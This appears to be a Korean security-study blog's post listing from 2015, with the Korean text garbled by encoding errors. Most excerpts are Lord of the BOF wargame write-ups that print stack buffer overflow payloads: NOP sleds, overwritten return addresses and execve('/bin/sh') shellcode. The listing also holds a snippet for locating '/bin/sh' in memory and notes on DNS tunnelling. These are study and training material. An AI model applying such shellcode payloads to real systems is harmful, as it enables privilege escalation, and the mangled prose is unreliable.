728x90 ๋ฐ์ํ ์ ์ฒด ๊ธ289 echo TCP_server /*TCP_server*/#include #include #include #include #include #include #define BUFSIZE 1024void error_handling(char *message); int main(int argc, char **argv){ int serv_sock;int clnt_sock;char message[BUFSIZE];int str_len; case 1: struct sockaddr_in serv_addr;struct sockaddr_in clnt_addr;int clnt_addr_size; if(argc!=2){printf("Usage : %s \n",argv[0]);exit(1);} serv_sock=socket(PF_INET,SOCK_STREAM,0.. Security Study/Network 2015. 9. 18. race condition(๊ฒฝ์ ์กฐ๊ฑด)attack ๊ฒฝ์ ์กฐ๊ฑด์ด๋? ๋ ํ๋ก์ธ์ค๊ฐ์ ๋ฆฌ์์ค(resource)๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด์ ๋คํฌ๋ ๊ณผ์ ์ผ๋ก, ๋ณธ๋ ํดํน๊ธฐ๋ฒ์ ์นญํ๋ ๊ฒ์ด ์๋๋ค. ์๋ ค์ง ์ฝ๋๋ฅผ ํตํด ๊ฒฝ์ ์กฐ๊ฑด์ ์๋ ์๋ฏธ๋ฅผ ์์๋ณด์. ์ฌ๊ธฐ์ fork()๋ผ๋ ํจ์๋ ๋์ผํ ์์ ์ ํ๋ ํ๋ก์ธ์ค๋ฅผ ํ๋ ๋ ๋์ฐ๋ ํจ์๋ก์จ fork()๋ฅผ ํธ์ถํ ๋, ๊ฒฐ๊ณผ ๊ฐ์ ์๋ก ๋ง๋ค์ด์ง ํ๋ก์ธ์ค์ ๋ฒํธ๊ฐ ๋๋ค. ์ด๋ก ํ๋ก์ธ์ค๋ฅผ ๊ตฌ๋ถํ๋ค. if(a%2 ==0) => printf("O")๊ฐ /*๋ถ๋ชจ ํ๋ก์ธ์ค*/์์ 50๋ฒ์ ์ถ๋ ฅํ๊ณ if(a%2 ==1) => printf("X")๊ฐ /*์์ ํ๋ก์ธ์ค*/์์ 50๋ฒ์ ์ถ๋ ฅํ๋ค๊ณ ํ๋ค. ๊ทธ๋ผ ๊ธฐ๋ณธ์ ์ผ๋ก OXOXOXOXOXOXOX์ด๋ฌํ ์์ผ๋ก ์ถ๋ ฅ์ ํ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ๋๋ฐ ์ด์๋ค๋ฅด๊ฒ XXOXXOOOOOOOXXOXOOOOO ์ด๋ฌํ์.. Security Study/System 2015. 9. 17. LOB orge ์ฝ๋๋ฅผ ์ด์ด๋ณด๋ฉด argv[0]=file์ด๋ฆ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํ์ผ์ด๋ฆ์ 77byte๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์ด์ค๋ค. ./๊น์ง ํฌํจํ๋ฏ๋ก 75๋ฅผ ํ๋ค.๋๋จธ์ง๋ ๋์ผ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์๊ฐ)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB darklf ์์ค๋ฅผ ์ด์ด๋ณด๋ฉด ์ผ๋จ ์ ๋ฌธ์ ๋ ๋น์ทํ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ๋ค.์ฒซ๋ฒ์งธ์ธ์ ๊ฐ์ ๊ธธ์ด๋ฅผ ํ์ธํ์ฌ 48๊ธ์๋ณด๋ค ํฌ๋ฉด ๋์๋ฒ๋ฆฌ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. ์ผ๋จ ์๊ณผ ๋๊ฐ์ด ์งํํ๊ณ payload๋ฅผ ์์ฑ๋ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB wolfman ๋ค์ ๋ฌธ์ ๋ฅผ ํ๋ฉด ๋๋ฅ ์ ๋ฌธ์ ๋ ๋๊ฐ์ ํจํด์ด๋ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์๊ฐ)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB orc cp๋ช ๋ น์ด ๊ฐ์ ๊ฑด ๋ฌด์ํ๊ณ ๋ค์ ์ ์์ ํ์ฌ ๋ฌธ์ ๋ฅผ ํ๋ฉด orc.c๋ฅผ ์ด์ด๋ณด๋ฉด buffer๊ฐ 40์ด๊ณ ๋ฆฌํด๊ฐ์ด \xbf๊ฐ ๊ผญ ๋ค์ด๊ฐ์ผ ํ๋ค๊ณ ๋์จ๋ค. gdb๋ฅผ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*100์ ์ ๋ ฅํ์ฌ esp๊ฐ์ ๋ฐ๊พธ์๋ค.๊ทธํ x/100 $esp๋ก ๊ฐ์ ํ์ธํ๋ฉด 90909090๋ค์ด๊ฐ ์๋ ์ฃผ์๋ฅผ ๋ณผ์ ์๋ค. payload๋ฅผ ์์ฑํด๋ณด๋ฉด ./orc $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xdb\xfb\xff\xbf(ret ์ฃผ์๊ฐ)"+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB goblin ์ ์์ ํ๊ณ (cp ๊ฐ์ ๊ฒ์ ๋ฌด์ํ๊ฒ ์ต๋๋ค) ์์ค๋ฅผ ํ์ธ ํ๋ฉด ์ด๋ฒ์ ๋ํ buffer๊ฐ 16์ธ๊ฒ์ ํ์ธ ํ ์์๋ค.๋จผ์ vi ๋ฅผ ์ด์ฉํ์ฌ ํ๋ก๊ทธ๋๋ฐ GOGO!! ์์๊ฐ์ด #include #include int main(int argc, char *argv[]){long shell;shell = system ์ฃผ์๊ฐ;๋๋จธ์ง๋ ๋์ผ ํ๊ฒ ํ๋ก๊ทธ๋๋ฐ์ ํ๊ณ gcc๋ฅผ ์ด์ฉํด ์ปดํ์ผ์ ํ๋ค. ์ด์ system ์ฃผ์๊ฐ์ ๋ณด๊ธฐ์ํด gdb๋ฅผ ์ด์ฉํด ๋ค์ด๊ฐํ b main๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค.๊ทธํ p system์ด๋ผ๋ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ system ์ฃผ์๊ฐ์ ํ์ธํ๋ค.(ํ๋ก๊ทธ๋๋ฐํ ๋ ์ ๋ ฅํด์ผํจ) ์ด์ payload๋ฅผ ์ง๋ณด๋ฉด (python -c 'print "\x90"*20+"AAAAA(ebp+8.. Wargame/CTF(Capture The Flag) 2015. 9. 15. system /bin/sh ์ฃผ์ ์ฐพ๊ธฐ #include #include int main(int argc,char *argv[]) {long shell;shell = ์์คํ ์ฃผ์;while(memcmp((void*)shell,("/bin/sh"),8)) shell++;printf("%p\n",shell);} Security Study/System 2015. 9. 15. network base 64 = 64์ง์๋ฏธ๋ฆฌ base 64 ์์ธํ๋ฅผ ๊ตฌ์ฑํด์ ธ์์ผ๋ฉฐ 6bit์ฉ ๋๋ ํฌํจํ๋ค.base 64 ๋ ๋์๋ฌธ์๊ฐ ๊ตฌ๋ณ๋์ด์๋ค.๋๋ฉ์ธ ๋ค์์ ์ฌ๋ฌ๊ฐ์ ๋๋ฉ์ธ ๋ผ๋ฒจ๋ก ๊ตฌ์ฑ๋์ด์๋ค. ํฐ๋ ํจํท์ ์ ํจํทethernet+ip+don't care ํฐ๋ ํจํทethernet+ip+udp(53)+dns+encoded payload Security Study/Network 2015. 9. 14. LOB gremlin gate์ ๋ง์ฐฌ๊ฐ์ง๋ก cp๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ํ์ผ์ ๋ณต์ฌํ๋ค. ๊ทธํ gremlin.c๋ฅผ ์ด์ด ๋ณด๋ฉด 16์ด๋ผ๋ buffer๋ก small buffer๋ผ๋ ๊ฒ์ ์์ ์๋ค.๊ทธํ gdb๋ฅผ ์ด์ฉํ์ฌ ๋ณด๋ฉด sub 0x10์ ๊ฐ์ ํ์ธํด๋ณด๋ฉด 16์ด๋ผ๋ ๊ฒ์ผ๋ก dummy ๊ฐ์ด ์๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. 16๋ฐ์ดํธ๋ฅผ ํ๋ณดํ๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ฏ๋ก main+3์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค. ๊ทธ๋ฆฌ๊ณ ํ๋ก๊ทธ๋จ ์คํ ๋์์ ์ธ์๊ฐ ์ ๋ฌ๋๋ฏ๋ก argv[2]์ ์์น๋ฅผ ์์๋ณด๊ธฐ์ํด $(python -c 'print "\x90(buffer+sfp๊ฐ)"*20+"BBBB(ret์ ๋ฎ์ด์จ์ผํ ์ฃผ์ ๊ฐ๋ค์ด๊ฐ ์์น"') $(python -c 'print "A"*241"")์ ๋ฃ๋๋ค 0x42424242๊ฐ ret์์น๋ก ๋ฎ์ด์จ์ผํ๋ฏ๋ก ๋์ถฉ 414141414.. Wargame/CTF(Capture The Flag) 2015. 9. 14. LOB gate LOB gate๋ก ์ ์์ ํ๋ฉด gate์ gate๋ก ์ ์๊ฐ๋ฅํ๋ค. ์ ์ํ ํ์ธ ํ๋ฉด ํ์ผ์ด 3๊ฐ์๋ ๊ฒ์ด ํ์ธ๊ฐ๋ฅ ํ๋ค ๋จผ์ cp ๋ช ๋ น์ ์ด์ฉํ์ฌ gremlin์ ๊ถํ์ด ์์ด gdb ๋ ๋ชปํ๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ !cp๋ช ๋ น์ด๋ ํ์ผ์ ๋ณต์ฌํ๋ ๋ช ๋ น์ด์ด๋ค. ํ์ผ์ ๋ณต์ฌํ๊ณ gremlin.c ๋ฅผ ์ด์ด๋ณด๋ฉด strcpy์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ์ ์๋ค.ํ์ด๋ก๋๋ฅผ ์๊ฐ ํด๋ณด๋ฉด ์ผ๋จ buffer 260(256+sfp)+shellcode+ret์ฃผ์(buffer์ฃผ์)๋ฅผ ๋ฃ์ด์ผํ๋ค. gdb๋ก ํ์ธ์ ํด๋ณด๋ฉด strcpy๋ค์์์ ์ผ์ด๋๋ b *main+59์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*200(์์์ ๊ฐ)')์ ๋ฃ๊ณ x/100x $esp ๋ก esp๊ฐ์ ํ์ธ ํ๋ฉด 0x9090909.. Wargame/CTF(Capture The Flag) 2015. 9. 14. system 2 gdb์์์์ blocking ํจ์ ์ ๋ ฅ r Security Study/System 2015. 9. 13. ์ด์ 1 ยทยทยท 18 19 20 21 22 23 24 25 ๋ค์ 728x90 ๋ฐ์ํ